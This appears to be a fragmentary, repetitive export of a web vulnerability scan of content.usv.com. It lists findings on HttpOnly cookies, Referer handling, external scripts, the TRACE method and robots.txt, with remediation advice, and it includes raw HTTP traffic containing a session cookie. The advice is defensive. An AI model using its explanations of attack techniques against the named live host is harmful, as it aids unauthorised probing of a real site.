HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:04 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31866 Date: Wed, 09 Nov 2011 13:51:04 GMT X-Varnish: 1395036215 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pages/canvas HTTP/1.1 Host: content.usv.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:04 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31866 Date: Wed, 09 Nov 2011 13:51:04 GMT X-Varnish: 1395036215 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:04 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31866 Date: Wed, 09 Nov 2011 13:51:04 GMT X-Varnish: 1395036215 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:13 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31842 Date: Wed, 09 Nov 2011 13:51:13 GMT X-Varnish: 1395037002 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
HTTP/1.1 404 Not Found Server: Apache Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:04 GMT Content-Type: Text/HTML X-Magnify-URL-Class: modperl-nocache Content-Length: 31866 Date: Wed, 09 Nov 2011 13:51:04 GMT X-Varnish: 1395036215 Age: 0 Via: 1.1 varnish Connection: keep-alive X-Cache: MISS
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.